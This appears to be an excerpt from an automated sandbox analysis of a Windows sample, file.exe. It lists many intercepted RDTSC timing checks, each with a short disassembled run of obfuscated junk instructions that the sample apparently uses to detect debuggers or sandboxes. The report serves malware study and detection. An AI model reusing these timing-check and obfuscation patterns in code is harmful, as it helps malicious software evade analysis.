                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC635 second address: 9DC681 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FE2B0E330E4h 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jg 00007FE2B0E330DCh 0x0000001b push eax 0x0000001c push edi 0x0000001d pop edi 0x0000001e pop eax 0x0000001f popad 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC681 second address: 9DC688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC688 second address: 9DC68D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC762 second address: 9DC777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B891h 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC777 second address: 9DC7A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE2B0E330E7h 0x00000013 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC7A8 second address: 9DC7AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC9F3 second address: 9DC9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DCBF8 second address: 9DCBFD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD1B3 second address: 9DD1BD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD26A second address: 9DD275 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FE2B0E6B886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD396 second address: 9DD3A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE2B0E330D6h 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD47A second address: 9DD491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B893h 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD640 second address: 9DD64D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD64D second address: 9DD653 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD723 second address: 9DD727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD8EC second address: 9DD902 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE2B0E6B88Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD902 second address: 9DD909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD909 second address: 9DD91A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B88Dh 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD91A second address: 9DD942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FE2B0E330E1h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD942 second address: 9DD947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DD947 second address: 9DD94C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DDDC3 second address: 9DDE1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jne 00007FE2B0E6B88Ah 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D2A25h], esi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007FE2B0E6B888h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 and di, 4A5Bh 0x00000035 push 00000000h 0x00000037 add di, 887Ch 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jnc 00007FE2B0E6B897h 0x00000045 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DE71B second address: 9DE725 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DE725 second address: 9DE729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DE729 second address: 9DE799 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c call 00007FE2B0E330DFh 0x00000011 sub dword ptr [ebp+122D1C0Eh], eax 0x00000017 pop esi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FE2B0E330D8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007FE2B0E330D8h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 clc 0x00000051 mov esi, ecx 0x00000053 xchg eax, ebx 0x00000054 push edi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E01A9 second address: 9E01AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E0F0E second address: 9E0F13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E0F13 second address: 9E0FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE2B0E6B886h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e xor si, 5942h 0x00000013 mov esi, dword ptr [ebp+122D2198h] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007FE2B0E6B888h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 je 00007FE2B0E6B88Ch 0x0000003b mov esi, dword ptr [ebp+122D1E79h] 0x00000041 mov esi, dword ptr [ebp+122D2B8Dh] 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push eax 0x0000004c call 00007FE2B0E6B888h 0x00000051 pop eax 0x00000052 mov dword ptr [esp+04h], eax 0x00000056 add dword ptr [esp+04h], 00000017h 0x0000005e inc eax 0x0000005f push eax 0x00000060 ret 0x00000061 pop eax 0x00000062 ret 0x00000063 movsx esi, cx 0x00000066 xchg eax, ebx 0x00000067 jmp 00007FE2B0E6B88Eh 0x0000006c push eax 0x0000006d pushad 0x0000006e jo 00007FE2B0E6B89Ch 0x00000074 jmp 00007FE2B0E6B896h 0x00000079 push eax 0x0000007a push edx 0x0000007b jl 00007FE2B0E6B886h 0x00000081 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E1AB0 second address: 9E1AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E1883 second address: 9E1887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E1AB4 second address: 9E1AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E1887 second address: 9E188B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E1AB8 second address: 9E1B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FE2B0E330D8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007FE2B0E330D8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e push 00000000h 0x00000040 pushad 0x00000041 mov dx, 4BEDh 0x00000045 mov eax, 2DCA1380h 0x0000004a popad 0x0000004b xchg eax, ebx 0x0000004c push esi 0x0000004d pushad 0x0000004e push ecx 0x0000004f pop ecx 0x00000050 push ecx 0x00000051 pop ecx 0x00000052 popad 0x00000053 pop esi 0x00000054 push eax 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 jno 00007FE2B0E330D6h 0x0000005e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E36FB second address: 9E36FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E5B75 second address: 9E5BAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FE2B0E330D8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 movsx edi, di 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push edx 0x00000031 pop edx 0x00000032 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E6C07 second address: 9E6C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E5D41 second address: 9E5D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E6C0D second address: 9E6C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E7C48 second address: 9E7CC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE2B0E330D8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 add di, DDB2h 0x00000029 mov dword ptr [ebp+122D1F21h], esi 0x0000002f push 00000000h 0x00000031 mov di, 2892h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007FE2B0E330D8h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 xchg eax, esi 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E7CC1 second address: 9E7CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E8CEC second address: 9E8CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E7E5A second address: 9E7E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E7E5E second address: 9E7E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9E7E68 second address: 9E7E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EABDB second address: 9EABE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EABE1 second address: 9EAC3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE2B0E6B895h 0x00000008 jmp 00007FE2B0E6B896h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 movzx ebx, si 0x00000016 push 00000000h 0x00000018 mov bx, si 0x0000001b push 00000000h 0x0000001d sbb edi, 72E4DE9Dh 0x00000023 xchg eax, esi 0x00000024 jg 00007FE2B0E6B88Eh 0x0000002a js 00007FE2B0E6B888h 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push edx 0x00000034 jc 00007FE2B0E6B886h 0x0000003a pop edx 0x0000003b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EAC3F second address: 9EAC49 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE2B0E330DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9ECD00 second address: 9ECD6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FE2B0E6B894h 0x0000000c pop eax 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FE2B0E6B888h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov ebx, dword ptr [ebp+122D1F2Ah] 0x00000033 mov dword ptr [ebp+1245BE95h], edx 0x00000039 push 00000000h 0x0000003b or edi, dword ptr [ebp+122D217Ah] 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 jmp 00007FE2B0E6B890h 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9ECD6B second address: 9ECD6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EDDBD second address: 9EDDC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EDDC9 second address: 9EDDCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EDDCD second address: 9EDDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9ECF09 second address: 9ECF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EDDD1 second address: 9EDDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9ECF0D second address: 9ECF13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EDDD7 second address: 9EDDDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9ECF13 second address: 9ECF2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E330E8h 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EDDDE second address: 9EDE3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FE2B0E6B888h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 movsx edi, cx 0x00000027 push 00000000h 0x00000029 mov bh, 8Dh 0x0000002b mov di, bx 0x0000002e xchg eax, esi 0x0000002f jmp 00007FE2B0E6B88Bh 0x00000034 push eax 0x00000035 push ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FE2B0E6B899h 0x0000003d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EDE3C second address: 9EDE40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EEEE0 second address: 9EEEE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EEEE4 second address: 9EEEF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EEEF9 second address: 9EEF03 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E6B88Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EEF03 second address: 9EEF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EEF10 second address: 9EEF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EEF14 second address: 9EEF1E instructions: 0x00000000 rdtsc 0x00000002 je 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EEF1E second address: 9EEF35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E6B893h 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9EE09A second address: 9EE0A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F2E88 second address: 9F2EC1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE2B0E6B88Eh 0x0000000b ja 00007FE2B0E6B895h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE2B0E6B88Ah 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F1091 second address: 9F10BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FE2B0E330DCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F10BD second address: 9F10C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F10C2 second address: 9F10C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F10C8 second address: 9F10CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F3500 second address: 9F351A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F351A second address: 9F351F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9F10CC second address: 9F1162 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E330D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jng 00007FE2B0E330D9h 0x00000013 movsx ebx, di 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FE2B0E330D8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e movzx ebx, bx 0x00000041 mov eax, dword ptr [ebp+122D16C9h] 0x00000047 push 00000000h 0x00000049 push edx 0x0000004a call 00007FE2B0E330D8h 0x0000004f pop edx 0x00000050 mov dword ptr [esp+04h], edx 0x00000054 add dword ptr [esp+04h], 0000001Bh 0x0000005c inc edx 0x0000005d push edx 0x0000005e ret 0x0000005f pop edx 0x00000060 ret 0x00000061 mov di, bx 0x00000064 push FFFFFFFFh 0x00000066 mov bh, ch 0x00000068 push eax 0x00000069 pushad 0x0000006a jns 00007FE2B0E330D8h 0x00000070 pushad 0x00000071 jmp 00007FE2B0E330DEh 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
